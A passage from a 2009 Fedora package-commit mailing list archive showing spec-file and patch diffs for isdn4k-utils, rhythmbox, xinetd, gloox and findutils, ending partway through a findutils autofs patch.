--- isdn4k-utils-CVS-2005-02-16/lib/Makefile.cflags	2005-02-16 19:04:04.338731270 +0100
+++ isdn4k-utils-CVS-2005-02-16/lib/Makefile	2005-02-16 19:04:24.150811068 +0100
@@ -28,7 +28,7 @@
 # USER CONFIGURATION AREA
 ######################################################################
 
-CFLAGS      = -g -Wall -pipe #-O6
+CFLAGS      = $(RPM_OPT_FLAGS)
 DEFS        =
 ifndef _CC
 export _CC  = gcc
diff -up isdn4k-utils-CVS-2009-10-20/Makefile.me isdn4k-utils-CVS-2009-10-20/Makefile
--- isdn4k-utils-CVS-2009-10-20/Makefile.me	2009-10-20 12:28:37.000000000 +0200
+++ isdn4k-utils-CVS-2009-10-20/Makefile	2009-10-20 12:29:14.000000000 +0200
@@ -18,8 +18,8 @@ LIBDIR:=/usr/lib
 # Following line is important for lib and isdnlog (sl).
 export ROOTDIR=$(shell pwd)
 
-ifeq (.config,$(wildcard .config))
-include .config
+ifeq (.config.h,$(wildcard .config.h))
+include .config.h
 do-it-all:      subtargets
 else
 CONFIGURATION = config
@@ -134,14 +134,8 @@ rootperm:
 
 install:
 	set -e; for i in `echo $(SUBDIRS)`; do $(MAKE) -C $$i install; done
-	@: || if [ -c $(DESTDIR)/dev/isdnctrl0 ] && ls -l $(DESTDIR)/dev/isdnctrl0 | egrep "[[:space:]]45,[[:space:]]+64[[:space:]]" > /dev/null; \
-	then \
-		/bin/echo -e '(some) ISDN devices already exist, not creating them.\nUse scripts/makedev.sh manually if necessary.'; \
-	else \
-		sh scripts/makedev.sh $(DESTDIR) ; \
-	fi
 
-uninstall: rootperm
+uninstall:
 	set -e; for i in `echo $(SUBDIRS)`; do $(MAKE) -C $$i uninstall; done
 
 #


Index: isdn4k-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/isdn4k-utils/F-12/isdn4k-utils.spec,v
retrieving revision 1.81
retrieving revision 1.82
diff -u -p -r1.81 -r1.82
--- isdn4k-utils.spec	25 Jul 2009 03:38:33 -0000	1.81
+++ isdn4k-utils.spec	20 Oct 2009 12:25:48 -0000	1.82
@@ -2,7 +2,7 @@
 
 %define app_defaults_dir %{_datadir}/X11/app-defaults
 
-%define interver CVS-2006-07-20
+%define interver CVS-2009-10-20
 %ifarch s390 s390x
 %define PIE -fPIE
 %else
@@ -10,14 +10,11 @@
 %endif
 
 %define initdir /etc/rc.d/init.d
-%define divert 0
-%define eicon 0
-%define act 0
 
 Summary: Utilities for configuring an ISDN subsystem.
 Name: isdn4k-utils
 Version: 3.2
-Release: 65%{?dist}
+Release: 66%{?dist}
 License: GPLv2+
 Group: Applications/System
 
@@ -28,21 +25,18 @@ Source3: userisdnctl.c
 Source4: isdndial
 Source5: isdnstatus
 Source6: isdnhangup
-Source7: isdn4k-utils-ppp-2.4.4.tar.bz2
 Source8: capi.init
+Source9: capiinit.8
 
-Patch0: isdn4k-utils-CVS-2008-01-07-redhat.patch
+Patch0: isdn4k-utils-CVS-2009-10-20-redhat.patch
+Patch1: isdn4k-utils-CVS-2009-10-20-lib64.patch
 Patch2: ibod-config.patch
 Patch3: isdn4k-utils-man.patch
 Patch4: isdn4k-utils-CVS-2004-11-18-autoconf25x.patch
 Patch5: isdn4k-utils-0202131200-true.patch
-Patch7: isdn4k-utils-CVS-2006-02-13-cleanup.patch
-Patch10: isdn4k-utils-CVS-2004-11-18-lib64.patch
 Patch11: isdn4k-utils-statfs.patch
 Patch12: isdn4k-utils-CVS-2005-03-09-xmon.patch
 Patch13: isdn4k-utils-capiinit.patch
-Patch14: isdn4k-utils-CVS-2006-07-20-pppd-2.4.4.patch
-Patch15: isdn4k-utils-gcc3x.patch
 Patch16: isdn4k-utils-CVS-2006-07-20-capi.patch
 Patch17: isdn4k-utils-misc-overflow-in-capi-subsystem.patch
 Patch18: isdn4k-utils-sh-linux.patch
@@ -72,6 +66,7 @@ BuildRequires: libXext-devel
 BuildRequires: imake
 BuildRequires: automake
 BuildRequires: libtool
+BuildRequires: ppp-devel
 
 Prereq: /sbin/chkconfig
 Prereq: /sbin/ldconfig
@@ -112,8 +107,9 @@ The xisdnload utility displays a periodi
 load average over your ISDN connection.
 
 %prep
-%setup -q -n %{name}-%{interver} -a 7
+%setup -q -n %{name}-%{interver}
 %patch0 -p1 -b .redhat
+%patch1 -p1 -b .lib64
 
 mkdir -p ibod
 pushd ibod
@@ -124,13 +120,9 @@ popd
 %patch3 -p1 -b .man
 %patch4 -p1 -b .ac25x
 %patch5 -p1 -b .true
-%patch7 -p0 -b .cleanup
-%patch10 -p1 -b .lib64
 %patch11 -p1 -b .statfs
 %patch12 -p1 -b .xmon
 %patch13 -p1 -b .capi
-%patch14 -p1 -b .pppd-2.4.4
-%patch15 -p1 -b .glibc
 %patch16 -p1 -b .capi
 %patch17 -p1 -b .misc-overflow
 %patch18 -p1 -b .sh-support
@@ -186,7 +178,9 @@ mkdir -p %{buildroot}/dev \
          %{buildroot}/etc/{rc.d/init.d,ppp,isdn} \
          %{buildroot}/var/{log/vbox,spool/vbox,lock/isdn} \
          %{buildroot}%{_prefix}/{sbin,bin} \
-         %{buildroot}%{_mandir}/man4
+         %{buildroot}%{_mandir}/man1 \
+         %{buildroot}%{_mandir}/man4 \
+         %{buildroot}%{_mandir}/man8
 
 chmod 1777 %{buildroot}/var/spool/vbox
 make install DESTDIR=%{buildroot} \
@@ -265,23 +259,12 @@ rm -rf %{buildroot}%{_docdir}/isdn4k-uti
 # move doc file to avoid conflict
 cp isdnlog/README isdnlog/README.isdnlog
 
-%if !%{divert}
-  rm -rf %{buildroot}%{_mandir}/man8/divertctrl.8*
-  rm -f %{buildroot}/sbin/divertctrl
-%endif
-
-%if !%{eicon}
-  rm -rf %{buildroot}%{_mandir}/man8/eiconctrl.8*
-  rm -rf %{buildroot}%{_libdir}/eicon
-  rm -f %{buildroot}/sbin/eiconctrl
-%endif
+install -m644 %{SOURCE9} %{buildroot}%{_mandir}/man8/
 
 chmod 644 %{buildroot}%{_mandir}/man?/*
 
 chmod 755 %{buildroot}%{_bindir}/vboxbeep
 
-rm -f %{buildroot}%{_sbindir}/{divalog,divalogd,divertctrl}
-
 mkdir -p $RPM_BUILD_ROOT/etc
 install -m 644 capiinit/capi.conf $RPM_BUILD_ROOT/etc
 
@@ -419,12 +402,14 @@ rm -rf %{buildroot}
 %files
 %defattr(-,root,root)
 %dir /etc/isdn
+%dir /etc/vbox
 %dir /var/spool/vbox
 %dir /var/log/vbox
 %verify(not md5 size mtime) %config(noreplace) /etc/isdn/*
 %verify(not md5 size mtime) %config(noreplace) /etc/ppp/ioptions
 %config(noreplace) /etc/ppp/peers/*
 %config(noreplace) /etc/capi.conf
+%config(noreplace) /etc/vbox/*.conf
 %config %{initdir}/isdn
 %config %{initdir}/capi
 %{_libdir}/pppd
@@ -444,16 +429,7 @@ rm -rf %{buildroot}
 %exclude %{_bindir}/xisdnload
 %exclude %{_bindir}/xmonisdn
 /sbin/*
-%if %{act}
-%{_sbindir}/actctrl
-%endif
-%if %{eicon}
-%{_sbindir}/eiconctrl
-%endif
 %{_sbindir}/capiinit
-%if %{divert}
-%{_sbindir}/divertctrl
-%endif
 %{_sbindir}/ibod
 %{_sbindir}/imon
 %{_sbindir}/imontty
@@ -506,6 +482,10 @@ rm -rf %{buildroot}
 %doc xmonisdn/README
 
 %changelog
+* Mon Oct 19 2009 Than Ngo <than at redhat.com> - 3.2-66
+- add missing man pages
+- add upstream fixes
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.2-65
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/isdn4k-utils/F-12/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	19 Jul 2006 14:54:56 -0000	1.15
+++ sources	20 Oct 2009 12:25:48 -0000	1.16
@@ -1,3 +1,3 @@
 38b45be27c0a82b38380f680fdee0aff  ibod-1.4-src.tar.gz
-92c52638be0abee7bd8195878f4df335  isdn4k-utils-ppp-2.4.4.tar.bz2
-7cde4a61e870bb7e53cd912a3fc30207  isdn4k-utils-CVS-2006-07-20.tar.bz2
+0f85c8843d99230945a23fee3cb7983d  isdn4k-utils-CVS-2009-10-20.tar.bz2
+45e047c31ebbdfd2865532a80393223b  capiinit.8


--- isdn4k-utils-CVS-2004-11-18-lib64.patch DELETED ---


--- isdn4k-utils-CVS-2006-02-13-cleanup.patch DELETED ---


--- isdn4k-utils-CVS-2006-07-20-pppd-2.4.4.patch DELETED ---


--- isdn4k-utils-CVS-2006-07-20-redhat.patch DELETED ---


--- isdn4k-utils-CVS-2008-01-07-redhat.patch DELETED ---


--- isdn4k-utils-gcc3x.patch DELETED ---



From hadess at fedoraproject.org  Tue Oct 20 12:26:58 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 20 Oct 2009 12:26:58 +0000 (UTC)
Subject: rpms/rhythmbox/F-12 rhythmbox.spec,1.271,1.272
Message-ID: <20091020122658.AA83811C0081@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/rhythmbox/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28721

Modified Files:
	rhythmbox.spec 
Log Message:
Fix makefile generation


Index: rhythmbox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rhythmbox/F-12/rhythmbox.spec,v
retrieving revision 1.271
retrieving revision 1.272
diff -u -p -r1.271 -r1.272
--- rhythmbox.spec	19 Oct 2009 17:04:07 -0000	1.271
+++ rhythmbox.spec	20 Oct 2009 12:26:57 -0000	1.272
@@ -96,9 +96,9 @@ from, and sending media to UPnP/DLNA net
 
 %patch1 -p1 -b .itms
 %patch2 -p1 -b .daap
-autoreconf -i
 %patch3 -p1 -b .http-head
 %patch4 -p1 -b .bicubic
+autoreconf -i
 
 # Use the installed louie, not the one in Coherence
 find plugins/coherence/upnp_coherence/ -type f -exec sed -i 's/coherence.extern.louie as louie/louie/' '{}' ';'



From jzeleny at fedoraproject.org  Tue Oct 20 12:28:21 2009
From: jzeleny at fedoraproject.org (Jan Zeleny)
Date: Tue, 20 Oct 2009 12:28:21 +0000 (UTC)
Subject: rpms/xinetd/F-12 xinetd.init,1.14,1.15 xinetd.spec,1.65,1.66
Message-ID: <20091020122821.4894711C0081@cvs1.fedora.phx.redhat.com>

Author: jzeleny

Update of /cvs/extras/rpms/xinetd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29222

Modified Files:
	xinetd.init xinetd.spec 
Log Message:
last update of init script modified to work with SELinux correctly


Index: xinetd.init
===================================================================
RCS file: /cvs/extras/rpms/xinetd/F-12/xinetd.init,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- xinetd.init	12 Oct 2009 10:55:48 -0000	1.14
+++ xinetd.init	20 Oct 2009 12:28:21 -0000	1.15
@@ -52,10 +52,9 @@ prog="xinetd"
 start(){
     [ -f /usr/sbin/xinetd ] || exit 5
     [ -f /etc/xinetd.conf ] || exit 6
-	touch /var/run/xinetd.pid > /dev/null 2>&1
-	[ $? -eq 0 ] || exit 4
-	touch /var/lock/subsys/xinetd > /dev/null 2>&1
-	[ $? -eq 0 ] || exit 4
+    # this is suitable way considering SELinux is guarding write 
+    # access to PID file
+	[ $EUID -eq 0 ] || exit 4
 
     echo -n $"Starting $prog: "
 
@@ -83,16 +82,9 @@ start(){
 stop(){
     [ -f /usr/sbin/xinetd ] || exit 5
     [ -f /etc/xinetd.conf ] || exit 6
-    if [ -f /var/lock/subsys/xinetd ]; then
-		if [ ! -w /var/lock/subsys/xinetd ]; then
-			exit 4
-		fi
-	fi
-    if [ -f /var/run/xinetd.pid ]; then
-		if [ ! -w /var/run/xinetd.pid ]; then
-			exit 4
-		fi
-	fi
+    # this is suitable way considering SELinux is guarding write 
+    # access to PID file
+	[ $EUID -eq 0 ] || exit 4
 
     echo -n $"Stopping $prog: "
     killproc -p /var/run/xinetd.pid $prog


Index: xinetd.spec
===================================================================
RCS file: /cvs/extras/rpms/xinetd/F-12/xinetd.spec,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- xinetd.spec	12 Oct 2009 10:55:48 -0000	1.65
+++ xinetd.spec	20 Oct 2009 12:28:21 -0000	1.66
@@ -1,7 +1,7 @@
 Summary: A secure replacement for inetd
 Name: xinetd
 Version: 2.3.14
-Release: 26%{?dist}
+Release: 27%{?dist}
 License: xinetd 
 Group: System Environment/Daemons
 Epoch: 2
@@ -119,6 +119,9 @@ fi
 %{_mandir}/*/*
 
 %changelog
+* Tue Oct 20 2009 Jan Zeleny <jzeleny at redhat.com> - 2:2.3.14-27
+- last update of init script modified to work with SELinux correctly
+
 * Mon Oct 12 2009 Jan Zeleny <jzeleny at redhat.com> - 2:2.3.14-26
 - correction of init script (LSB compliance - #528154)
 



From hubbitus at fedoraproject.org  Tue Oct 20 12:29:09 2009
From: hubbitus at fedoraproject.org (Pavel Alexeev)
Date: Tue, 20 Oct 2009 12:29:09 +0000 (UTC)
Subject: rpms/gloox/F-12 gloox.spec,1.4,1.5
Message-ID: <20091020122909.9D8A511C0081@cvs1.fedora.phx.redhat.com>

Author: hubbitus

Update of /cvs/pkgs/rpms/gloox/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27749

Modified Files:
	gloox.spec 
Log Message:
- As right mentioned by Peter Lemenkov, my naming cheme is incorrect, fixing.
- Expand "beta" define and magick to more common "prerel".




Index: gloox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gloox/F-12/gloox.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- gloox.spec	19 Oct 2009 05:24:38 -0000	1.4
+++ gloox.spec	20 Oct 2009 12:29:09 -0000	1.5
@@ -1,18 +1,17 @@
-#% define beta 7
+%define prerel rc3
 %define SVN 4204
 
 Name:		gloox
-Version:		1.0rc3
-Release:		0.8.%{?beta:beta%{beta}}%{?SVN:SVNr%{SVN}}%{?dist}
+Version:		1.0
+Release:		0.9.%{?prerel:%{prerel}.}%{?SVN:SVNr%{SVN}}%{?dist}
 Summary:		A rock-solid, full-featured Jabber/XMPP client library
 Group:		System Environment/Libraries
 License:		GPLv2
 URL:			http://camaya.net/gloox
-#Source0:		http://camaya.net/download/%{name}-%{version}%{?beta:-beta%{beta}}.tar.bz2
 
 # svn export svn://svn.camaya.net/gloox/trunk gloox-1.0rc3 \
 #	tar -cjf gloox-1.0rc3-SVNr4203.tar.bz2 gloox-1.0rc3
-Source0:		%{name}-%{version}%{?beta:-beta%{beta}}%{?SVN:-SVNr%{SVN}}.tar.bz2
+Source0:		%{name}-%{version}%{?prerel}%{?SVN:-SVNr%{SVN}}.tar.bz2
 
 #Patch1:		gloox-no_ns_get16.patch
 #Patch1:		gloox-getaddrinfo.patch
@@ -43,7 +42,7 @@ The %{name}-devel package contains libra
 developing applications that use %{name}.
 
 %prep
-%setup -q -n %{name}-%{version}%{?beta:-beta%{beta}}
+%setup -q -n %{name}-%{version}%{?prerel}
 
 %build
 %if 0%{?SVN}
@@ -83,6 +82,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.so
 
 %changelog
+* Mon Oct 19 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0-0.9.rc3.SVNr4204
+- As right mentioned by Peter Lemenkov, my naming cheme is incorrect, fixing.
+- Expand "beta" define and magick to more common "prerel".
+
 * Sun Oct 18 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0rc3-0.8.SVNr4204
 - New build due resolve my bugreport https://mail.camaya.net/horde/whups/ticket/?id=157
 



From hadess at fedoraproject.org  Tue Oct 20 12:34:24 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 20 Oct 2009 12:34:24 +0000 (UTC)
Subject: rpms/rhythmbox/F-12 rb-no-HEAD-for-podcasts.patch,NONE,1.1
Message-ID: <20091020123424.269C811C0081@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/rhythmbox/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30584

Added Files:
	rb-no-HEAD-for-podcasts.patch 
Log Message:
add missing patch

rb-no-HEAD-for-podcasts.patch:
 rb-podcast-manager.c |  150 +++++++++++++++++++++++++++++++--------------------
 1 file changed, 92 insertions(+), 58 deletions(-)

--- NEW FILE rb-no-HEAD-for-podcasts.patch ---
>From a3a69d76e25358fc05c99e57041fa1485486345f Mon Sep 17 00:00:00 2001
From: Robert Ancell <robert.ancell at canonical.com>
Date: Thu, 15 Oct 2009 16:28:32 +1100
Subject: [PATCH] Support using g_file_input_stream_query_info() to get file information for podcasts.  This means only one connection to the server is required instead of two when using g_file_query_info()

---
 podcast/rb-podcast-manager.c |  149 ++++++++++++++++++++++++++----------------
 1 files changed, 92 insertions(+), 57 deletions(-)

diff --git a/podcast/rb-podcast-manager.c b/podcast/rb-podcast-manager.c
index eb6c821..bc1695b 100644
--- a/podcast/rb-podcast-manager.c
+++ b/podcast/rb-podcast-manager.c
@@ -153,9 +153,14 @@ static void rb_podcast_manager_get_property 		(GObject *object,
 							 guint prop_id,
 		                                	 GValue *value,
                 		                	 GParamSpec *pspec);
+static void read_file_cb					(GFile *source,
+							 GAsyncResult *result,
+							 RBPodcastManagerInfo *data);
 static void download_file_info_cb			(GFile *source,
 							 GAsyncResult *result,
 							 RBPodcastManagerInfo *data);
+static void download_podcast				(GFileInfo *src_info,
+							 RBPodcastManagerInfo *data);
 static void rb_podcast_manager_abort_download		(RBPodcastManagerInfo *data);
 static gboolean rb_podcast_manager_sync_head_cb 	(gpointer data);
 static gboolean rb_podcast_manager_head_query_cb 	(GtkTreeModel *query_model,
@@ -618,7 +623,7 @@ rb_podcast_manager_head_query_cb (GtkTreeModel *query_model,
 }
 
 static void
-download_error (RBPodcastManagerInfo *data, GError *error)
+download_error (RBPodcastManagerInfo *data, GError *error, gboolean in_thread)
 {
 	GValue val = {0,};
 	rb_debug ("error downloading %s: %s",
@@ -636,7 +641,12 @@ download_error (RBPodcastManagerInfo *data, GError *error)
 	g_value_unset (&val);
 
 	rhythmdb_commit (data->pd->priv->db);
-	g_idle_add ((GSourceFunc)end_job, data);
+
+	if (in_thread) {
+		g_idle_add ((GSourceFunc)end_job, data);
+	} else {
+		rb_podcast_manager_abort_download (data);
+	}
 }
 
 static gboolean
@@ -645,7 +655,6 @@ rb_podcast_manager_next_file (RBPodcastManager * pd)
 	const char *location;
 	RBPodcastManagerInfo *data;
 	char *query_string;
-	const char *attrs;
 	GList *d;
 
 	g_assert (rb_is_main_thread ());
@@ -689,69 +698,103 @@ rb_podcast_manager_next_file (RBPodcastManager * pd)
 
 	data->source = g_file_new_for_uri (location);
 
-	attrs = G_FILE_ATTRIBUTE_STANDARD_SIZE ","
-		G_FILE_ATTRIBUTE_STANDARD_COPY_NAME ","
-		G_FILE_ATTRIBUTE_STANDARD_EDIT_NAME;
-	g_file_query_info_async (data->source,
-				 attrs,
-				 G_FILE_QUERY_INFO_NONE,
-				 0,
-				 data->cancel,
-				 (GAsyncReadyCallback) download_file_info_cb,
-				 data);
+	g_file_read_async (data->source,
+	                   0,
+	                   data->cancel,
+	                   (GAsyncReadyCallback) read_file_cb,
+	                   data);
 
 	GDK_THREADS_LEAVE ();
 	return FALSE;
 }
 
 static void
-download_file_info_cb (GFile *source,
-		       GAsyncResult *result,
-		       RBPodcastManagerInfo *data)
+read_file_cb (GFile *source,
+              GAsyncResult *result,
+              RBPodcastManagerInfo *data)
 {
 	GError *error = NULL;
 	GFileInfo *src_info;
-	char *local_file_name = NULL;
-	char *feed_folder;
-	char *esc_local_file_name;
-	char *local_file_uri;
-	char *sane_local_file_uri;
-	char *conf_dir_uri;
 
 	g_assert (rb_is_main_thread ());
 
-	rb_debug ("got file info results for %s",
+	rb_debug ("started read for %s",
 		  get_remote_location (data->entry));
 
-	src_info = g_file_query_info_finish (source, result, &error);
-
-	/* ignore G_IO_ERROR_FAILED here, as it probably just means that the server is lame.
-	 * actual problems (not found, permission denied, etc.) have specific errors codes,
-	 * so they'll still be reported.
+	data->in_stream = g_file_read_finish (data->source,
+	                                      result,
+	                                      &error);
+	if (error != NULL) {
+		download_error (data, error, FALSE);
+		g_error_free (error);
+		return;
+	}
+    
+	src_info = g_file_input_stream_query_info (data->in_stream,
+	                                           G_FILE_ATTRIBUTE_STANDARD_SIZE ","
+	                                           G_FILE_ATTRIBUTE_STANDARD_COPY_NAME ","
+	                                           G_FILE_ATTRIBUTE_STANDARD_EDIT_NAME,
+	                                           NULL,
+	                                           &error);
+
+	/* If no stream information then probably using an old version of gvfs, fall back
+	 * to getting the stream information from the GFile.
+	 * This branch can be removed when this version of gvfs is released, see:
+	 * https://bugzilla.gnome.org/show_bug.cgi?id=598505
 	 */
-	if (error != NULL && g_error_matches (error, G_IO_ERROR, G_IO_ERROR_FAILED) == FALSE) {
-		GValue val = {0,};
+	if (error != NULL) {
+		rb_debug ("file info query from input failed, trying query on file: %s", error->message);
+		g_error_free (error);
 
-		rb_debug ("file info query failed: %s", error->message);
+		g_file_query_info_async (data->source,
+		                         G_FILE_ATTRIBUTE_STANDARD_SIZE ","
+		                         G_FILE_ATTRIBUTE_STANDARD_COPY_NAME ","
+		                         G_FILE_ATTRIBUTE_STANDARD_EDIT_NAME,
+		                         G_FILE_QUERY_INFO_NONE,
+		                         0,
+		                         data->cancel,
+		                         (GAsyncReadyCallback) download_file_info_cb,
+		                         data);
+		return;
+	}
 
-		g_value_init (&val, G_TYPE_ULONG);
-		g_value_set_ulong (&val, RHYTHMDB_PODCAST_STATUS_ERROR);
-		rhythmdb_entry_set (data->pd->priv->db, data->entry, RHYTHMDB_PROP_STATUS, &val);
-		g_value_unset (&val);
+	rb_debug ("got file info results for %s",
+		  get_remote_location (data->entry));
 
-		g_value_init (&val, G_TYPE_STRING);
-		g_value_set_string (&val, error->message);
-		rhythmdb_entry_set (data->pd->priv->db, data->entry, RHYTHMDB_PROP_PLAYBACK_ERROR, &val);
-		g_value_unset (&val);
+	download_podcast (src_info, data);
+}
 
-		rhythmdb_commit (data->pd->priv->db);
+static void
+download_file_info_cb (GFile *source,
+                       GAsyncResult *result,
+                       RBPodcastManagerInfo *data)
+{
+	GError *error = NULL;
+	GFileInfo *src_info;
+
+	src_info = g_file_query_info_finish (source, result, &error);
 
+	if (error != NULL) {
+		download_error (data, error, FALSE);
 		g_error_free (error);
-		rb_podcast_manager_abort_download (data);
-		return;
 	} else {
-		g_clear_error (&error);
+		rb_debug ("got file info results for %s",
+			  get_remote_location (data->entry));
+
+		download_podcast (src_info, data);
 	}
+}
+
+static void
+download_podcast (GFileInfo *src_info, RBPodcastManagerInfo *data)
+{
+	GError *error = NULL;
+	char *local_file_name = NULL;
+	char *feed_folder;
+	char *esc_local_file_name;
+	char *local_file_uri;
+	char *sane_local_file_uri;
+	char *conf_dir_uri;
 
 	if (src_info != NULL) {
 		data->download_size = g_file_info_get_attribute_uint64 (src_info, G_FILE_ATTRIBUTE_STANDARD_SIZE);
@@ -769,7 +812,7 @@ download_file_info_cb (GFile *source,
 
 	if (local_file_name == NULL) {
 		/* fall back to the basename from the original URI */
-		local_file_name = g_file_get_basename (source);
+		local_file_name = g_file_get_basename (data->source);
 		rb_debug ("didn't get a filename from the file info request; using basename %s", local_file_name);
 	}
 
@@ -819,7 +862,6 @@ download_file_info_cb (GFile *source,
 		return;
 	}
 
-
 	data->destination = g_file_new_for_uri (sane_local_file_uri);
 	if (g_file_query_exists (data->destination, NULL)) {
 		GFileInfo *dest_info;
@@ -892,7 +934,7 @@ download_file_info_cb (GFile *source,
 					TRUE,
 					&error);
 	if (error != NULL) {
-		download_error (data, error);
+		download_error (data, error, TRUE);
 		g_error_free (error);
 	}
 }
@@ -1407,14 +1449,6 @@ podcast_download_thread (RBPodcastManagerInfo *data)
 	gssize n_read;
 	gssize n_written;
 	guint64 downloaded;
-	
-	/* open remote file */
-	data->in_stream = g_file_read (data->source, data->cancel, &error);
-	if (error != NULL) {
-		download_error (data, error);
-		g_error_free (error);
-		return NULL;
-	}
 
 	/* if we have an offset to download from, try the seek
 	 * before anything else.  if we can't seek, we'll have to
@@ -1443,7 +1477,7 @@ podcast_download_thread (RBPodcastManagerInfo *data)
 		}
 	}
 	if (error != NULL) {
-		download_error (data, error);
+		download_error (data, error, TRUE);
 		g_error_free (error);
 		return NULL;
 	}
@@ -1491,7 +1525,7 @@ podcast_download_thread (RBPodcastManagerInfo *data)
 						  data->cancel,
 						  &error);
 		if (error != NULL) {
-			download_error (data, error);
+			download_error (data, error, TRUE);
 			g_error_free (error);
 			return NULL;
 		}
@@ -1535,7 +1569,8 @@ podcast_download_thread (RBPodcastManagerInfo *data)
 	g_object_unref (data->out_stream);
 
 	if (error != NULL) {
-		download_error (data, error);
+		download_error (data, error, TRUE);
+		g_error_free (error);
 	} else {
 		download_progress (data, downloaded, data->download_size, TRUE);
 	}
-- 
1.6.3.3




From kdudka at fedoraproject.org  Tue Oct 20 12:38:53 2009
From: kdudka at fedoraproject.org (Kamil Dudka)
Date: Tue, 20 Oct 2009 12:38:53 +0000 (UTC)
Subject: rpms/findutils/devel findutils-4.4.2-autofs.patch, NONE,
	1.1 findutils-4.4.2-xautofs.patch, NONE,
	1.1 findutils-4.4.0-no-locate.patch, 1.2, 1.3 findutils.spec,
	1.64, 1.65
Message-ID: <20091020123853.C9AF011C0081@cvs1.fedora.phx.redhat.com>

Author: kdudka

Update of /cvs/extras/rpms/findutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31757

Modified Files:
	findutils-4.4.0-no-locate.patch findutils.spec 
Added Files:
	findutils-4.4.2-autofs.patch findutils-4.4.2-xautofs.patch 
Log Message:
- make it possible to recognize an autofs filesystem by find
- add a new find's option -xautofs to not descend directories on autofs
  filesystems

findutils-4.4.2-autofs.patch:
 fstype.c |   69 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 69 insertions(+)

--- NEW FILE findutils-4.4.2-autofs.patch ---
diff -rup findutils-4.4.2.orig/find/fstype.c findutils-4.4.2/find/fstype.c
--- findutils-4.4.2.orig/find/fstype.c	2009-05-16 17:17:01.000000000 +0200
+++ findutils-4.4.2/find/fstype.c	2009-10-20 12:47:10.589871024 +0200
@@ -205,7 +205,72 @@ must_read_fs_list(bool need_fs_type)
   return entries;
 }
 
+/* Return the device number from MOUNT_OPTIONS, if possible.
+   Otherwise return (dev_t) -1. Taken from 'mountlist' module
+   from gnulib.  */
+static dev_t
+dev_from_mount_options (char const *mount_options)
+{
+  /* GNU/Linux allows file system implementations to define their own
+     meaning for "dev=" mount options, so don't trust the meaning
+     here.  */
+# ifndef __linux__
+
+  static char const dev_pattern[] = ",dev=";
+  char const *devopt = strstr (mount_options, dev_pattern);
+
+  if (devopt)
+    {
+      char const *optval = devopt + sizeof dev_pattern - 1;
+      char *optvalend;
+      unsigned long int dev;
+      errno = 0;
+      dev = strtoul (optval, &optvalend, 16);
+      if (optval != optvalend
+	  && (*optvalend == '\0' || *optvalend == ',')
+	  && ! (dev == ULONG_MAX && errno == ERANGE)
+	  && dev == (dev_t) dev)
+	return dev;
+    }
+
+# endif
+  (void) mount_options;
+  return -1;
+}
+
+/* Return true if the file described by STATP is on autofs file system
+   and call set_fstype_devno () if the autofs file system is matched.  */
+static bool
+filesystem_check_autofs (const struct stat *statp)
+{
+  FILE *fp;
+  struct mntent *mnt;
+  struct mount_entry entry;
+  bool match = false;
+
+  /* open /proc/mounts because autofs is not listed in /etc/mtab */
+  fp = setmntent ("/proc/mounts", "r");
+  if (fp == NULL)
+    return false;
 
+  while ((mnt = getmntent (fp)))
+    {
+      if (0 != strcmp ("autofs", mnt->mnt_type))
+	  continue;
+
+      entry.me_mountdir = mnt->mnt_dir;
+      entry.me_dev = dev_from_mount_options (mnt->mnt_opts);
+      set_fstype_devno (&entry);
+      if (entry.me_dev == statp->st_dev)
+	{
+	  match = true;
+	  break;
+	}
+    }
+
+  endmntent (fp);
+  return match;
+}
 
 /* Return a newly allocated string naming the type of file system that the
    file PATH, described by STATP, is on.
@@ -244,6 +309,10 @@ file_system_type_uncached (const struct 
     }
   free_file_system_list(entries);
 
+  /* check for autofs */
+  if (type == NULL && filesystem_check_autofs (statp))
+    type = xstrdup ("autofs");
+
   /* Don't cache unknown values. */
   fstype_known = (type != NULL);
   

findutils-4.4.2-xautofs.patch:
 doc/find.texi  |    4 ++++
 find/defs.h    |    3 +++
 find/find.1    |    3 +++
 find/ftsfind.c |    6 ++++++
 find/parser.c  |   12 ++++++++++++
 find/util.c    |    1 +
 6 files changed, 29 insertions(+)

--- NEW FILE findutils-4.4.2-xautofs.patch ---
diff -rup findutils-4.4.2.orig/doc/find.texi findutils-4.4.2/doc/find.texi
--- findutils-4.4.2.orig/doc/find.texi	2009-10-20 14:31:43.902741386 +0200
+++ findutils-4.4.2/doc/find.texi	2009-10-20 14:30:55.680178944 +0200
@@ -1420,6 +1420,10 @@ them.
 There are two ways to avoid searching certain filesystems.  One way is
 to tell @code{find} to only search one filesystem:
 
+ at deffn Option -xautofs
+Don't descend directories on autofs filesystems.
+ at end deffn
+
 @deffn Option -xdev
 @deffnx Option -mount
 Don't descend directories on other filesystems.  These options are
diff -rup findutils-4.4.2.orig/find/defs.h findutils-4.4.2/find/defs.h
--- findutils-4.4.2.orig/find/defs.h	2009-10-20 14:31:43.902741386 +0200
+++ findutils-4.4.2/find/defs.h	2009-10-20 14:30:55.680906690 +0200
@@ -559,6 +559,9 @@ struct options
   /* If true, don't cross filesystem boundaries. */
